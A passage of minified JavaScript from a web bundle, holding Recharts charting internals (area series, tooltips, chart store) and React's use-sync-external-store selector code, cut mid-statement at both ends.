Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Hb(e){for(var t=1;t({top:e.top,bottom:e.bottom,left:e.left,right:e.right})),GB=M([YB,zr,Cr],(e,t,n)=>{if(!(!e||t==null||n==null))return{x:e.left,y:e.top,width:Math.max(0,t-e.left-e.right),height:Math.max(0,n-e.top-e.bottom)}}),Y0=()=>he(GB),XB=()=>he(WD);function Kb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function rp(e){for(var t=1;t{var{point:t,childIndex:n,mainColor:r,activeDot:i,dataKey:a,clipPath:o}=e;if(i===!1||t.x==null||t.y==null)return null;var l={index:n,dataKey:a,cx:t.x,cy:t.y,r:4,fill:r??"none",strokeWidth:2,stroke:"#fff",payload:t.payload,value:t.value},c=rp(rp(rp({},l),mo(i)),fx(i)),u;return p.isValidElement(i)?u=p.cloneElement(i,c):typeof i=="function"?u=i(c):u=p.createElement(LS,c),p.createElement(Wt,{className:"recharts-active-dot",clipPath:o},u)};function qb(e){var{points:t,mainColor:n,activeDot:r,itemDataKey:i,clipPath:a,zIndex:o=Rt.activeDot}=e,l=he(Ha),c=XB();if(t==null||c==null)return null;var u=t.find(d=>c.includes(d.payload));return jt(u)?null:p.createElement(mi,{zIndex:o},p.createElement(eF,{point:u,childIndex:Number(l),mainColor:n,dataKey:i,activeDot:r,clipPath:a}))}var ZS=e=>{var{chartData:t}=e,n=Qe(),r=In();return p.useEffect(()=>r?()=>{}:(n(sb(t)),()=>{n(sb(void 0))}),[t,n,r]),null},Yb={x:0,y:0,width:0,height:0,padding:{top:0,right:0,bottom:0,left:0}},QS=Ut({name:"brush",initialState:Yb,reducers:{setBrushSettings(e,t){return t.payload==null?Yb:t.payload}}}),{setBrushSettings:TV}=QS.actions,tF=QS.reducer,nF={dots:[],areas:[],lines:[]},JS=Ut({name:"referenceElements",initialState:nF,reducers:{addDot:(e,t)=>{e.dots.push(t.payload)},removeDot:(e,t)=>{var n=_n(e).dots.findIndex(r=>r===t.payload);n!==-1&&e.dots.splice(n,1)},addArea:(e,t)=>{e.areas.push(t.payload)},removeArea:(e,t)=>{var n=_n(e).areas.findIndex(r=>r===t.payload);n!==-1&&e.areas.splice(n,1)},addLine:(e,t)=>{e.lines.push(t.payload)},removeLine:(e,t)=>{var n=_n(e).lines.findIndex(r=>r===t.payload);n!==-1&&e.lines.splice(n,1)}}}),{addDot:MV,removeDot:LV,addArea:IV,removeArea:DV,addLine:RV,removeLine:$V}=JS.actions,rF=JS.reducer,iF=p.createContext(void 0),aF=e=>{var{children:t}=e,[n]=p.useState("".concat(xo("recharts"),"-clip")),r=Y0();if(r==null)return null;var{x:i,y:a,width:o,height:l}=r;return p.createElement(iF.Provider,{value:n},p.createElement("defs",null,p.createElement("clipPath",{id:n},p.createElement("rect",{x:i,y:a,height:l,width:o}))),t)},sF={},e3=Ut({name:"errorBars",initialState:sF,reducers:{addErrorBar:(e,t)=>{var{itemId:n,errorBar:r}=t.payload;e[n]||(e[n]=[]),e[n].push(r)},replaceErrorBar:(e,t)=>{var{itemId:n,prev:r,next:i}=t.payload;e[n]&&(e[n]=e[n].map(a=>a.dataKey===r.dataKey&&a.direction===r.direction?i:a))},removeErrorBar:(e,t)=>{var{itemId:n,errorBar:r}=t.payload;e[n]&&(e[n]=e[n].filter(i=>i.dataKey!==r.dataKey||i.direction!==r.direction))}}}),{addErrorBar:BV,replaceErrorBar:FV,removeErrorBar:WV}=e3.actions,oF=e3.reducer;function t3(e,t){var n,r,i=he(u=>Ar(u,e)),a=he(u=>_r(u,t)),o=(n=i==null?void 0:i.allowDataOverflow)!==null&&n!==void 0?n:x4.allowDataOverflow,l=(r=a==null?void 0:a.allowDataOverflow)!==null&&r!==void 0?r:v4.allowDataOverflow,c=o||l;return{needClip:c,needClipX:o,needClipY:l}}function lF(e){var{xAxisId:t,yAxisId:n,clipPathId:r}=e,i=Y0(),{needClipX:a,needClipY:o,needClip:l}=t3(t,n);if(!l||!i)return null;var{x:c,y:u,width:d,height:f}=i;return p.createElement("clipPath",{id:"clipPath-".concat(r)},p.createElement("rect",{x:a?c:c-d/2,y:o?u:u-f/2,width:a?d:d*2,height:o?f:f*2}))}function cF(e){var t=mo(e),n=3,r=2;if(t!=null){var{r:i,strokeWidth:a}=t,o=Number(i),l=Number(a);return(Number.isNaN(o)||o<0)&&(o=n),(Number.isNaN(l)||l<0)&&(l=r),{r:o,strokeWidth:l}}return{r:n,strokeWidth:r}}var uF={};/** + * @license React + * use-sync-external-store-with-selector.production.js + * + * Copyright (c) Meta Platforms, Inc. and affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var el=p;function dF(e,t){return e===t&&(e!==0||1/e===1/t)||e!==e&&t!==t}var fF=typeof Object.is=="function"?Object.is:dF,pF=el.useSyncExternalStore,mF=el.useRef,hF=el.useEffect,xF=el.useMemo,vF=el.useDebugValue;uF.useSyncExternalStoreWithSelector=function(e,t,n,r,i){var a=mF(null);if(a.current===null){var o={hasValue:!1,value:null};a.current=o}else o=a.current;a=xF(function(){function c(h){if(!u){if(u=!0,d=h,h=r(h),i!==void 0&&o.hasValue){var x=o.value;if(i(x,h))return f=x}return f=h}if(x=f,fF(d,h))return x;var g=r(h);return i!==void 0&&i(x,g)?(d=h,x):(d=h,f=g)}var u=!1,d,f,m=n===void 0?null:n;return[function(){return c(t())},m===null?void 0:function(){return c(m())}]},[t,n,r,i]);var l=pF(e,a[0],a[1]);return hF(function(){o.hasValue=!0,o.value=l},[l]),vF(l),l};function gF(e){e()}function yF(){let e=null,t=null;return{clear(){e=null,t=null},notify(){gF(()=>{let n=e;for(;n;)n.callback(),n=n.next})},get(){const n=[];let r=e;for(;r;)n.push(r),r=r.next;return n},subscribe(n){let r=!0;const i=t={callback:n,next:null,prev:t};return i.prev?i.prev.next=i:e=i,function(){!r||e===null||(r=!1,i.next?i.next.prev=i.prev:t=i.prev,i.prev?i.prev.next=i.next:e=i.next)}}}}var Gb={notify(){},get:()=>[]};function bF(e,t){let n,r=Gb,i=0,a=!1;function o(g){d();const y=r.subscribe(g);let v=!1;return()=>{v||(v=!0,y(),f())}}function l(){r.notify()}function c(){x.onStateChange&&x.onStateChange()}function u(){return a}function d(){i++,n||(n=e.subscribe(c),r=yF())}function f(){i--,n&&i===0&&(n(),n=void 0,r.clear(),r=Gb)}function m(){a||(a=!0,d())}function h(){a&&(a=!1,f())}const x={addNestedSub:o,notifyNestedSubs:l,handleChangeWrapper:c,isSubscribed:u,trySubscribe:m,tryUnsubscribe:h,getListeners:()=>r};return x}var wF=()=>typeof window<"u"&&typeof window.document<"u"&&typeof window.document.createElement<"u",jF=wF(),kF=()=>typeof navigator<"u"&&navigator.product==="ReactNative",NF=kF(),SF=()=>jF||NF?p.useLayoutEffect:p.useEffect,zF=SF();function Xb(e,t){return e===t?e!==0||t!==0||1/e===1/t:e!==e&&t!==t}function CF(e,t){if(Xb(e,t))return!0;if(typeof e!="object"||e===null||typeof t!="object"||t===null)return!1;const n=Object.keys(e),r=Object.keys(t);if(n.length!==r.length)return!1;for(let i=0;i{const c=bF(i);return{store:i,subscription:c,getServerState:r?()=>r:void 0}},[i,r]),o=p.useMemo(()=>i.getState(),[i]);zF(()=>{const{subscription:c}=a;return c.onStateChange=c.notifyNestedSubs,c.trySubscribe(),o!==i.getState()&&c.notifyNestedSubs(),()=>{c.tryUnsubscribe(),c.onStateChange=void 0}},[a,o]);const l=n||EF;return p.createElement(l.Provider,{value:a},t)}var _F=AF,OF=new Set(["axisLine","tickLine","activeBar","activeDot","activeLabel","activeShape","allowEscapeViewBox","background","cursor","dot","label","line","margin","padding","position","shape","style","tick","wrapperStyle","radius"]);function TF(e,t){return e==null&&t==null?!0:typeof e=="number"&&typeof t=="number"?e===t||e!==e&&t!==t:e===t}function n3(e,t){var n=new Set([...Object.keys(e),...Object.keys(t)]);for(var r of n)if(OF.has(r)){if(e[r]==null&&t[r]==null)continue;if(!CF(e[r],t[r]))return!1}else if(!TF(e[r],t[r]))return!1;return!0}function G0(e,t){var n,r;return(n=(r=e.graphicalItems.cartesianItems.find(i=>i.id===t))===null||r===void 0?void 0:r.xAxisId)!==null&&n!==void 0?n:GS}function X0(e,t){var n,r;return(n=(r=e.graphicalItems.cartesianItems.find(i=>i.id===t))===null||r===void 0?void 0:r.yAxisId)!==null&&n!==void 0?n:GS}var r3=(e,t,n)=>B4(e,"xAxis",G0(e,t),n),i3=(e,t,n)=>$4(e,"xAxis",G0(e,t),n),a3=(e,t,n)=>B4(e,"yAxis",X0(e,t),n),s3=(e,t,n)=>$4(e,"yAxis",X0(e,t),n),MF=M([Ee,r3,a3,i3,s3],(e,t,n,r,i)=>er(e,"xAxis")?qc(t,r,!1):qc(n,i,!1)),LF=(e,t)=>t,o3=M([y4,LF],(e,t)=>e.filter(n=>n.type==="area").find(n=>n.id===t)),l3=e=>{var t=Ee(e),n=er(t,"xAxis");return n?"yAxis":"xAxis"},IF=(e,t)=>{var n=l3(e);return n==="yAxis"?X0(e,t):G0(e,t)},DF=(e,t,n)=>N4(e,l3(e),IF(e,t),n),RF=M([o3,DF],(e,t)=>{var n;if(!(e==null||t==null)){var{stackId:r}=e,i=d0(e);if(!(r==null||i==null)){var a=(n=t[r])===null||n===void 0?void 0:n.stackedData,o=a==null?void 0:a.find(l=>l.key===i);if(o!=null)return o.map(l=>[l[0],l[1]])}}}),$F=M([Ee,r3,a3,i3,s3,RF,PI,MF,o3,DI],(e,t,n,r,i,a,o,l,c,u)=>{var{chartData:d,dataStartIndex:f,dataEndIndex:m}=o;if(!(c==null||e!=="horizontal"&&e!=="vertical"||t==null||n==null||r==null||i==null||r.length===0||i.length===0||l==null)){var{data:h}=c,x;if(h&&h.length>0?x=h:x=d==null?void 0:d.slice(f,m+1),x!=null)return iW({layout:e,xAxis:t,yAxis:n,xAxisTicks:r,yAxisTicks:i,dataStartIndex:f,areaSettings:c,stackedData:a,displayedData:x,chartBaseValue:u,bandSize:l})}}),BF=["id"],FF=["activeDot","animationBegin","animationDuration","animationEasing","connectNulls","dot","fill","fillOpacity","hide","isAnimationActive","legendType","stroke","xAxisId","yAxisId"];function Li(){return Li=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{dataKey:t,name:n,stroke:r,fill:i,legendType:a,hide:o}=e;return[{inactive:o,dataKey:t,type:a,color:ju(r,i),value:hd(n,t),payload:e}]},qF=p.memo(e=>{var{dataKey:t,data:n,stroke:r,strokeWidth:i,fill:a,name:o,hide:l,unit:c,tooltipType:u,id:d}=e,f={dataDefinedOnItem:n,getPosition:Qa,settings:{stroke:r,strokeWidth:i,fill:a,dataKey:t,nameKey:void 0,name:hd(o,t),hide:l,type:u,color:ju(r,a),unit:c,graphicalItemId:d}};return p.createElement(HS,{tooltipEntrySettings:f})});function YF(e){var{clipPathId:t,points:n,props:r}=e,{needClip:i,dot:a,dataKey:o}=r,l=hr(r);return p.createElement(WB,{points:n,dot:a,className:"recharts-area-dots",dotClassName:"recharts-area-dot",dataKey:o,baseProps:l,needClip:i,clipPathId:t})}function GF(e){var{showLabels:t,children:n,points:r}=e,i=r.map(a=>{var o,l,c={x:(o=a.x)!==null&&o!==void 0?o:0,y:(l=a.y)!==null&&l!==void 0?l:0,width:0,lowerWidth:0,upperWidth:0,height:0};return wa(wa({},c),{},{value:a.value,payload:a.payload,parentViewBox:void 0,viewBox:c,fill:void 0})});return p.createElement(i$,{value:t?i:void 0},n)}function Qb(e){var{points:t,baseLine:n,needClip:r,clipPathId:i,props:a}=e,{layout:o,type:l,stroke:c,connectNulls:u,isRange:d}=a,{id:f}=a,m=c3(a,BF),h=hr(m),x=At(m);return p.createElement(p.Fragment,null,(t==null?void 0:t.length)>1&&p.createElement(Wt,{clipPath:r?"url(#clipPath-".concat(i,")"):void 0},p.createElement(Ea,Li({},x,{id:f,points:t,connectNulls:u,type:l,baseLine:n,layout:o,stroke:"none",className:"recharts-area-area"})),c!=="none"&&p.createElement(Ea,Li({},h,{className:"recharts-area-curve",layout:o,type:l,connectNulls:u,fill:"none",points:t})),c!=="none"&&d&&p.createElement(Ea,Li({},h,{className:"recharts-area-curve",layout:o,type:l,connectNulls:u,fill:"none",points:n}))),p.createElement(YF,{points:t,props:m,clipPathId:i}))}function XF(e){var t,n,{alpha:r,baseLine:i,points:a,strokeWidth:o}=e,l=(t=a[0])===null||t===void 0?void 0:t.y,c=(n=a[a.length-1])===null||n===void 0?void 0:n.y;if(!je(l)||!je(c))return null;var u=r*Math.abs(l-c),d=Math.max(...a.map(f=>f.x||0));return de(i)?d=Math.max(i,d):i&&Array.isArray(i)&&i.length&&(d=Math.max(...i.map(f=>f.x||0),d)),de(d)?p.createElement("rect",{x:0,y:lf.y||0));return de(i)?d=Math.max(i,d):i&&Array.isArray(i)&&i.length&&(d=Math.max(...i.map(f=>f.y||0),d)),de(d)?p.createElement("rect",{x:l({points:o,baseLine:l}),[o,l]),g=zd(x,"recharts-area-"),y=jT(),[v,b]=p.useState(!1),w=!v,j=p.useCallback(()=>{typeof h=="function"&&h(),b(!1)},[h]),k=p.useCallback(()=>{typeof m=="function"&&m(),b(!0)},[m]);if(y==null)return null;var S=i.current,N=a.current;return p.createElement(GF,{showLabels:w,points:o},r.children,p.createElement(Sd,{animationId:g,begin:u,duration:d,isActive:c,easing:f,onAnimationEnd:j,onAnimationStart:k,key:g},z=>{if(S){var O=S.length/o.length,E=z===1?o:o.map((P,U)=>{var K=Math.floor(U*O);if(S[K]){var $=S[K];return wa(wa({},P),{},{x:yt($.x,P.x,z),y:yt($.y,P.y,z)})}return P}),T;return de(l)?T=yt(N,l,z):jt(l)||Xn(l)?T=yt(N,0,z):T=l.map((P,U)=>{var K=Math.floor(U*O);if(Array.isArray(N)&&N[K]){var $=N[K];return wa(wa({},P),{},{x:yt($.x,P.x,z),y:yt($.y,P.y,z)})}return P}),z>0&&(i.current=E,a.current=T),p.createElement(Qb,{points:E,baseLine:T,needClip:t,clipPathId:n,props:r})}return z>0&&(i.current=o,a.current=l),p.createElement(Wt,null,c&&p.createElement("defs",null,p.createElement("clipPath",{id:"animationClipPath-".concat(n)},p.createElement(QF,{alpha:z,points:o,baseLine:l,layout:y,strokeWidth:r.strokeWidth}))),p.createElement(Wt,{clipPath:"url(#animationClipPath-".concat(n,")")},p.createElement(Qb,{points:o,baseLine:l,needClip:t,clipPathId:n,props:r})))}),p.createElement(MS,{label:r.label}))}function eW(e){var{needClip:t,clipPathId:n,props:r}=e,i=p.useRef(null),a=p.useRef();return p.createElement(JF,{needClip:t,clipPathId:n,props:r,previousPointsRef:i,previousBaselineRef:a})}class tW extends p.PureComponent{render(){var{hide:t,dot:n,points:r,className:i,top:a,left:o,needClip:l,xAxisId:c,yAxisId:u,width:d,height:f,id:m,baseLine:h,zIndex:x}=this.props;if(t)return null;var g=Ve("recharts-area",i),y=m,{r:v,strokeWidth:b}=cF(n),w=US(n),j=v*2+b,k=l?"url(#clipPath-".concat(w?"":"dots-").concat(y,")"):void 0;return p.createElement(mi,{zIndex:x},p.createElement(Wt,{className:g},l&&p.createElement("defs",null,p.createElement(lF,{clipPathId:y,xAxisId:c,yAxisId:u}),!w&&p.createElement("clipPath",{id:"clipPath-dots-".concat(y)},p.createElement("rect",{x:o-j/2,y:a-j/2,width:d+j,height:f+j}))),p.createElement(eW,{needClip:l,clipPathId:y,props:this.props})),p.createElement(qb,{points:r,mainColor:ju(this.props.stroke,this.props.fill),itemDataKey:this.props.dataKey,activeDot:this.props.activeDot,clipPath:k}),this.props.isRange&&Array.isArray(h)&&p.createElement(qb,{points:h,mainColor:ju(this.props.stroke,this.props.fill),itemDataKey:this.props.dataKey,activeDot:this.props.activeDot,clipPath:k}))}}var u3={activeDot:!0,animationBegin:0,animationDuration:1500,animationEasing:"ease",connectNulls:!1,dot:!1,fill:"#3182bd",fillOpacity:.6,hide:!1,isAnimationActive:"auto",legendType:"line",stroke:"#3182bd",strokeWidth:1,type:"linear",label:!1,xAxisId:0,yAxisId:0,zIndex:Rt.area};function nW(e){var t,n=rn(e,u3),{activeDot:r,animationBegin:i,animationDuration:a,animationEasing:o,connectNulls:l,dot:c,fill:u,fillOpacity:d,hide:f,isAnimationActive:m,legendType:h,stroke:x,xAxisId:g,yAxisId:y}=n,v=c3(n,FF),b=Ja(),w=uS(),{needClip:j}=t3(g,y),k=In(),{points:S,isRange:N,baseLine:z}=(t=he(K=>$F(K,e.id,k)))!==null&&t!==void 0?t:{},O=Y0();if(b!=="horizontal"&&b!=="vertical"||O==null||w!=="AreaChart"&&w!=="ComposedChart")return null;var{height:E,width:T,x:P,y:U}=O;return!S||!S.length?null:p.createElement(tW,Li({},v,{activeDot:r,animationBegin:i,animationDuration:a,animationEasing:o,baseLine:z,connectNulls:l,dot:c,fill:u,fillOpacity:d,height:E,hide:f,layout:b,isAnimationActive:m==="auto"?!Nd.isSsr:m,isRange:N,legendType:h,needClip:j,points:S,stroke:x,width:T,left:P,top:U,xAxisId:g,yAxisId:y}))}var rW=(e,t,n,r,i)=>{var a=n??t;if(de(a))return a;var o=e==="horizontal"?i:r,l=o.scale.domain();if(o.type==="number"){var c=Math.max(l[0],l[1]),u=Math.min(l[0],l[1]);return a==="dataMin"?u:a==="dataMax"||c<0?c:Math.max(Math.min(l[0],l[1]),0)}return a==="dataMin"?l[0]:a==="dataMax"?l[1]:l[0]};function iW(e){var{areaSettings:{connectNulls:t,baseValue:n,dataKey:r},stackedData:i,layout:a,chartBaseValue:o,xAxis:l,yAxis:c,displayedData:u,dataStartIndex:d,xAxisTicks:f,yAxisTicks:m,bandSize:h}=e,x=i&&i.length,g=rW(a,o,n,l,c),y=a==="horizontal",v=!1,b=u.map((j,k)=>{var S,N,z,O;if(x)O=i[d+k];else{var E=Ie(j,r);Array.isArray(E)?(O=E,v=!0):O=[g,E]}var T=(S=(N=O)===null||N===void 0?void 0:N[1])!==null&&S!==void 0?S:null,P=T==null||x&&!t&&Ie(j,r)==null;if(y){var U;return{x:ry({axis:l,ticks:f,bandSize:h,entry:j,index:k}),y:P?null:(U=c.scale.map(T))!==null&&U!==void 0?U:null,value:O,payload:j}}return{x:P?null:(z=l.scale.map(T))!==null&&z!==void 0?z:null,y:ry({axis:c,ticks:m,bandSize:h,entry:j,index:k}),value:O,payload:j}}),w;return x||v?w=b.map(j=>{var k,S=Array.isArray(j.value)?j.value[0]:null;if(y){var N;return{x:j.x,y:S!=null&&j.y!=null&&(N=c.scale.map(S))!==null&&N!==void 0?N:null,payload:j.payload}}return{x:S!=null&&(k=l.scale.map(S))!==null&&k!==void 0?k:null,y:j.y,payload:j.payload}}):w=y?c.scale.map(g):l.scale.map(g),{points:b,baseLine:w??0,isRange:v}}function aW(e){var t=rn(e,u3),n=In();return p.createElement(KS,{id:t.id,type:"area"},r=>p.createElement(p.Fragment,null,p.createElement(Y$,{legendPayload:KF(t)}),p.createElement(qF,{dataKey:t.dataKey,data:t.data,stroke:t.stroke,strokeWidth:t.strokeWidth,fill:t.fill,name:t.name,hide:t.hide,unit:t.unit,tooltipType:t.tooltipType,id:r}),p.createElement(lB,{type:"area",id:r,data:t.data,dataKey:t.dataKey,xAxisId:t.xAxisId,yAxisId:t.yAxisId,zAxisId:0,stackId:W6(t.stackId),hide:t.hide,barSize:void 0,baseValue:t.baseValue,isPanorama:n,connectNulls:t.connectNulls}),p.createElement(nW,Li({},t,{id:r}))))}var d3=p.memo(aW,n3);d3.displayName="Area";var sW=(e,t)=>t,Z0=M([sW,Ee,p4,mt,rS,Or,eR,ft],oR),Q0=e=>{var t=e.currentTarget.getBoundingClientRect(),n=t.width/e.currentTarget.offsetWidth,r=t.height/e.currentTarget.offsetHeight;return{chartX:Math.round((e.clientX-t.left)/n),chartY:Math.round((e.clientY-t.top)/r)}},f3=vn("mouseClick"),p3=$o();p3.startListening({actionCreator:f3,effect:(e,t)=>{var n=e.payload,r=Z0(t.getState(),Q0(n));(r==null?void 0:r.activeIndex)!=null&&t.dispatch(J7({activeIndex:r.activeIndex,activeDataKey:void 0,activeCoordinate:r.activeCoordinate}))}});var th=vn("mouseMove"),m3=$o(),Ml=null;m3.startListening({actionCreator:th,effect:(e,t)=>{var n=e.payload;Ml!==null&&cancelAnimationFrame(Ml);var r=Q0(n);Ml=requestAnimationFrame(()=>{var i=t.getState(),a=T0(i,i.tooltip.settings.shared);if(a==="axis"){var o=Z0(i,r);(o==null?void 0:o.activeIndex)!=null?t.dispatch(Y4({activeIndex:o.activeIndex,activeDataKey:void 0,activeCoordinate:o.activeCoordinate})):t.dispatch(q4())}Ml=null})}});function oW(e,t){return t instanceof HTMLElement?"HTMLElement <".concat(t.tagName,' class="').concat(t.className,'">'):t===window?"global.window":e==="children"&&typeof t=="object"&&t!==null?"<>":t}var Jb={accessibilityLayer:!0,barCategoryGap:"10%",barGap:4,barSize:void 0,className:void 0,maxBarSize:void 0,stackOffset:"none",syncId:void 0,syncMethod:"index",baseValue:void 0,reverseStackOrder:!1},h3=Ut({name:"rootProps",initialState:Jb,reducers:{updateOptions:(e,t)=>{var n;e.accessibilityLayer=t.payload.accessibilityLayer,e.barCategoryGap=t.payload.barCategoryGap,e.barGap=(n=t.payload.barGap)!==null&&n!==void 0?n:Jb.barGap,e.barSize=t.payload.barSize,e.maxBarSize=t.payload.maxBarSize,e.stackOffset=t.payload.stackOffset,e.syncId=t.payload.syncId,e.syncMethod=t.payload.syncMethod,e.className=t.payload.className,e.baseValue=t.payload.baseValue,e.reverseStackOrder=t.payload.reverseStackOrder}}}),lW=h3.reducer,{updateOptions:cW}=h3.actions,uW=null,dW={updatePolarOptions:(e,t)=>t.payload},x3=Ut({name:"polarOptions",initialState:uW,reducers:dW}),{updatePolarOptions:fW}=x3.actions,pW=x3.reducer,v3=vn("keyDown"),g3=vn("focus"),J0=$o();J0.startListening({actionCreator:v3,effect:(e,t)=>{var n=t.getState(),r=n.rootProps.accessibilityLayer!==!1;if(r){var{keyboardInteraction:i}=n.tooltip,a=e.payload;if(!(a!=="ArrowRight"&&a!=="ArrowLeft"&&a!=="Enter")){var o=M0(i,ls(n),Xo(n),Qo(n)),l=o==null?-1:Number(o);if(!(!Number.isFinite(l)||l<0)){var c=Or(n);if(a==="Enter"){var u=xu(n,"axis","hover",String(i.index));t.dispatch(Xm({active:!i.active,activeIndex:i.index,activeCoordinate:u}));return}var d=U7(n),f=d==="left-to-right"?1:-1,m=a==="ArrowRight"?1:-1,h=l+m*f;if(!(c==null||h>=c.length||h<0)){var x=xu(n,"axis","hover",String(h));t.dispatch(Xm({active:!0,activeIndex:h.toString(),activeCoordinate:x}))}}}}}});J0.startListening({actionCreator:g3,effect:(e,t)=>{var n=t.getState(),r=n.rootProps.accessibilityLayer!==!1;if(r){var{keyboardInteraction:i}=n.tooltip;if(!i.active&&i.index==null){var a="0",o=xu(n,"axis","hover",String(a));t.dispatch(Xm({active:!0,activeIndex:a,activeCoordinate:o}))}}}});var cn=vn("externalEvent"),y3=$o(),sp=new Map;y3.startListening({actionCreator:cn,effect:(e,t)=>{var{handler:n,reactEvent:r}=e.payload;if(n!=null){r.persist();var i=r.type,a=sp.get(i);a!==void 0&&cancelAnimationFrame(a);var o=requestAnimationFrame(()=>{try{var l=t.getState(),c={activeCoordinate:$D(l),activeDataKey:oS(l),activeIndex:Ha(l),activeLabel:sS(l),activeTooltipIndex:Ha(l),isTooltipActive:BD(l)};n(c,r)}finally{sp.delete(i)}});sp.set(i,o)}}});var mW=M([ss],e=>e.tooltipItemPayloads),hW=M([mW,(e,t)=>t,(e,t,n)=>n],(e,t,n)=>{if(t!=null){var r=e.find(a=>a.settings.graphicalItemId===n);if(r!=null){var{getPosition:i}=r;if(i!=null)return i(t)}}}),b3=vn("touchMove"),w3=$o();w3.startListening({actionCreator:b3,effect:(e,t)=>{var n=e.payload;if(!(n.touches==null||n.touches.length===0)){var r=t.getState(),i=T0(r,r.tooltip.settings.shared);if(i==="axis"){var a=n.touches[0];if(a==null)return;var o=Z0(r,Q0({clientX:a.clientX,clientY:a.clientY,currentTarget:n.currentTarget}));(o==null?void 0:o.activeIndex)!=null&&t.dispatch(Y4({activeIndex:o.activeIndex,activeDataKey:void 0,activeCoordinate:o.activeCoordinate}))}else if(i==="item"){var l,c=n.touches[0];if(document.elementFromPoint==null||c==null)return;var u=document.elementFromPoint(c.clientX,c.clientY);if(!u||!u.getAttribute)return;var d=u.getAttribute(Ik),f=(l=u.getAttribute(Dk))!==null&&l!==void 0?l:void 0,m=os(r).find(g=>g.id===f);if(d==null||m==null||f==null)return;var{dataKey:h}=m,x=hW(r,d,f);t.dispatch(K4({activeDataKey:h,activeIndex:d,activeCoordinate:x,activeGraphicalItemId:f}))}}}});var xW=sk({brush:tF,cartesianAxis:qB,chartData:DR,errorBars:oF,graphicalItems:sB,layout:T6,legend:IT,options:OR,polarAxis:x$,polarOptions:pW,referenceElements:rF,rootProps:lW,tooltip:eD,zIndex:wR}),vW=function(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:"Chart";return i6({reducer:xW,preloadedState:t,middleware:r=>{var i;return r({serializableCheck:!1,immutableCheck:!["commonjs","es6","production"].includes((i="es6")!==null&&i!==void 0?i:"")}).concat([p3.middleware,m3.middleware,J0.middleware,y3.middleware,w3.middleware])},enhancers:r=>{var i=r;return typeof r=="function"&&(i=r()),i.concat(wk({type:"raf"}))},devTools:{serialize:{replacer:oW},name:"recharts-".concat(n)}})};function j3(e){var{preloadedState:t,children:n,reduxStoreName:r}=e,i=In(),a=p.useRef(null);if(i)return n;a.current==null&&(a.current=vW(t,r));var o=wx;return p.createElement(_F,{context:o,store:a.current},n)}function gW(e){var{layout:t,margin:n}=e,r=Qe(),i=In();return p.useEffect(()=>{i||(r(A6(t)),r(E6(n)))},[r,i,t,n]),null}var k3=p.memo(gW,n3);function N3(e){var t=Qe();return p.useEffect(()=>{t(cW(e))},[t,e]),null}function e2(e){var{zIndex:t,isPanorama:n}=e,r=p.useRef(null),i=Qe();return p.useLayoutEffect(()=>(r.current&&i(yR({zIndex:t,element:r.current,isPanorama:n})),()=>{i(bR({zIndex:t,isPanorama:n}))}),[i,t,n]),p.createElement("g",{tabIndex:-1,ref:r})}function t2(e){var{children:t,isPanorama:n}=e,r=he(cR);if(!r||r.length===0)return t;var i=r.filter(o=>o<0),a=r.filter(o=>o>0);return p.createElement(p.Fragment,null,i.map(o=>p.createElement(e2,{key:o,zIndex:o,isPanorama:n})),t,a.map(o=>p.createElement(e2,{key:o,zIndex:o,isPanorama:n})))}var yW=["children"];function bW(e,t){if(e==null)return{};var n,r,i=wW(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r{var n=bT(),r=wT(),i=tN();if(!si(n)||!si(r))return null;var{children:a,otherAttributes:o,title:l,desc:c}=e,u,d;return o!=null&&(typeof o.tabIndex=="number"?u=o.tabIndex:u=i?0:void 0,typeof o.role=="string"?d=o.role:d=i?"application":void 0),p.createElement(s5,ku({},o,{title:l,desc:c,role:d,tabIndex:u,width:n,height:r,style:jW,ref:t}),a)}),NW=e=>{var{children:t}=e,n=he(yd);if(!n)return null;var{width:r,height:i,y:a,x:o}=n;return p.createElement(s5,{width:r,height:i,x:o,y:a},t)},n2=p.forwardRef((e,t)=>{var{children:n}=e,r=bW(e,yW),i=In();return i?p.createElement(NW,null,p.createElement(t2,{isPanorama:!0},n)):p.createElement(kW,ku({ref:t},r),p.createElement(t2,{isPanorama:!1},n))});function SW(){var e=Qe(),[t,n]=p.useState(null),r=he(Y6);return p.useEffect(()=>{if(t!=null){var i=t.getBoundingClientRect(),a=i.width/t.offsetWidth;je(a)&&a!==r&&e(O6(a))}},[t,e,r]),n}function r2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function zW(e){for(var t=1;t(KR(),null);function Nu(e){if(typeof e=="number")return e;if(typeof e=="string"){var t=parseFloat(e);if(!Number.isNaN(t))return t}return 0}var _W=p.forwardRef((e,t)=>{var n,r,i=p.useRef(null),[a,o]=p.useState({containerWidth:Nu((n=e.style)===null||n===void 0?void 0:n.width),containerHeight:Nu((r=e.style)===null||r===void 0?void 0:r.height)}),l=p.useCallback((u,d)=>{o(f=>{var m=Math.round(u),h=Math.round(d);return f.containerWidth===m&&f.containerHeight===h?f:{containerWidth:m,containerHeight:h}})},[]),c=p.useCallback(u=>{if(typeof t=="function"&&t(u),u!=null&&typeof ResizeObserver<"u"){var{width:d,height:f}=u.getBoundingClientRect();l(d,f);var m=x=>{var g=x[0];if(g!=null){var{width:y,height:v}=g.contentRect;l(y,v)}},h=new ResizeObserver(m);h.observe(u),i.current=h}},[t,l]);return p.useEffect(()=>()=>{var u=i.current;u!=null&&u.disconnect()},[l]),p.createElement(p.Fragment,null,p.createElement(Fo,{width:a.containerWidth,height:a.containerHeight}),p.createElement("div",ni({ref:c},e)))}),OW=p.forwardRef((e,t)=>{var{width:n,height:r}=e,[i,a]=p.useState({containerWidth:Nu(n),containerHeight:Nu(r)}),o=p.useCallback((c,u)=>{a(d=>{var f=Math.round(c),m=Math.round(u);return d.containerWidth===f&&d.containerHeight===m?d:{containerWidth:f,containerHeight:m}})},[]),l=p.useCallback(c=>{if(typeof t=="function"&&t(c),c!=null){var{width:u,height:d}=c.getBoundingClientRect();o(u,d)}},[t,o]);return 